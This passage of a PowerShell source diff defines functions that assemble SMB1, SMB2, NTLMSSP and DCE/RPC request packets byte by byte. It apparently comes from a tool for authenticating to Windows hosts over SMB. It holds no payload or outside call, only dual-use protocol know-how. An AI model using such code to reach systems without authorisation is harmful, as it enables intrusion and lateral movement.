$packet_SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) + $packet_SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$packet_byte_count) + $packet_SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $packet_SMBSessionSetupAndXRequest.Add("ByteCount",$packet_security_blob_length) + $packet_SMBSessionSetupAndXRequest.Add("SecurityBlob",$packet_security_blob) + $packet_SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) + + return $packet_SMBSessionSetupAndXRequest +} + +function New-PacketSMBTreeConnectAndXRequest +{ + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeConnectAndXRequest.Add("WordCount",[Byte[]](0x04)) + $packet_SMBTreeConnectAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBTreeConnectAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("Flags",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("PasswordLength",[Byte[]](0x01,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("ByteCount",$packet_path_length) + $packet_SMBTreeConnectAndXRequest.Add("Password",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("Tree",$packet_path) + $packet_SMBTreeConnectAndXRequest.Add("Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) + + return $packet_SMBTreeConnectAndXRequest +} + +function New-PacketSMBNTCreateAndXRequest +{ + param([Byte[]]$packet_named_pipe) + + [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) + $packet_file_name_length = $packet_file_name_length[0,1] + + $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNTCreateAndXRequest.Add("WordCount",[Byte[]](0x18)) + $packet_SMBNTCreateAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBNTCreateAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Reserved2",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("FileNameLen",$packet_file_name_length) + $packet_SMBNTCreateAndXRequest.Add("CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("RootFID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SMBNTCreateAndXRequest.Add("AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Disposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SecurityFlags",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("ByteCount",$packet_named_pipe_length) + $packet_SMBNTCreateAndXRequest.Add("Filename",$packet_named_pipe) + + return $packet_SMBNTCreateAndXRequest +} + +function New-PacketSMBReadAndXRequest +{ + $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBReadAndXRequest.Add("WordCount",[Byte[]](0x0a)) + $packet_SMBReadAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBReadAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBReadAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("FID",[Byte[]](0x00,0x40)) + $packet_SMBReadAndXRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBReadAndXRequest.Add("MaxCountLow",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("MinCount",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("Unknown",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBReadAndXRequest.Add("Remaining",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBReadAndXRequest +} + +function New-PacketSMBWriteAndXRequest +{ + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + $packet_write_length = $packet_write_length[0,1] + + $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBWriteAndXRequest.Add("WordCount",[Byte[]](0x0e)) + $packet_SMBWriteAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBWriteAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBWriteAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("FID",$packet_file_ID) + $packet_SMBWriteAndXRequest.Add("Offset",[Byte[]](0xea,0x03,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBWriteAndXRequest.Add("WriteMode",[Byte[]](0x08,0x00)) + $packet_SMBWriteAndXRequest.Add("Remaining",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("DataLengthHigh",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("DataLengthLow",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("DataOffset",[Byte[]](0x3f,0x00)) + $packet_SMBWriteAndXRequest.Add("HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("ByteCount",$packet_write_length) + + return $packet_SMBWriteAndXRequest +} + +function New-PacketSMBCloseRequest +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBCloseRequest.Add("WordCount",[Byte[]](0x03)) + $packet_SMBCloseRequest.Add("FID",$packet_file_ID) + $packet_SMBCloseRequest.Add("LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBCloseRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBCloseRequest +} + +function New-PacketSMBTreeDisconnectRequest +{ + $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeDisconnectRequest.Add("WordCount",[Byte[]](0x00)) + $packet_SMBTreeDisconnectRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBTreeDisconnectRequest +} + +function New-PacketSMBLogoffAndXRequest +{ + $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBLogoffAndXRequest.Add("WordCount",[Byte[]](0x02)) + $packet_SMBLogoffAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBLogoffAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBLogoffAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBLogoffAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBLogoffAndXRequest +} + +#SMB2 + +function New-PacketSMB2Header +{ + param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $packet_SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Command",$packet_command) + $packet_SMB2Header.Add("CreditRequest",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("MessageID",$packet_message_ID) + $packet_SMB2Header.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SessionID",$packet_session_ID) + $packet_SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header +} + +function New-PacketSMB2NegotiateProtocolRequest +{ + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest +} + +function New-PacketSMB2SessionSetupRequest +{ + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest +} + +function New-PacketSMB2TreeConnectRequest +{ + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest +} + +function New-PacketSMB2CreateRequestFile +{ + param([Byte[]]$packet_named_pipe) + + $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + + $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequestFile.Add("NameLength",$packet_named_pipe_length) + $packet_SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("Buffer",$packet_named_pipe) + + return $packet_SMB2CreateRequestFile +} + +function New-PacketSMB2ReadRequest +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) + $packet_SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("FileID",$packet_file_ID) + $packet_SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest +} + +function New-PacketSMB2WriteRequest +{ + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("Length",$packet_write_length) + $packet_SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SMB2WriteRequest +} + +function New-PacketSMB2CloseRequest +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest +} + +function New-PacketSMB2TreeDisconnectRequest +{ + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest +} + +function New-PacketSMB2SessionLogoffRequest +{ + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest +} + +#NTLM + +function New-PacketNTLMSSPNegotiate +{ + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $packet_NTLMSSPNegotiate.Add("InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate +} + +function New-PacketNTLMSSPAuth +{ + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth +} + +#RPC + +function New-PacketRPCBind +{ + param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("Version",[Byte[]](0x05)) + $packet_RPCBind.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID",$packet_context_ID) + $packet_RPCBind.Add("NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface",$packet_UUID) + $packet_RPCBind.Add("InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + 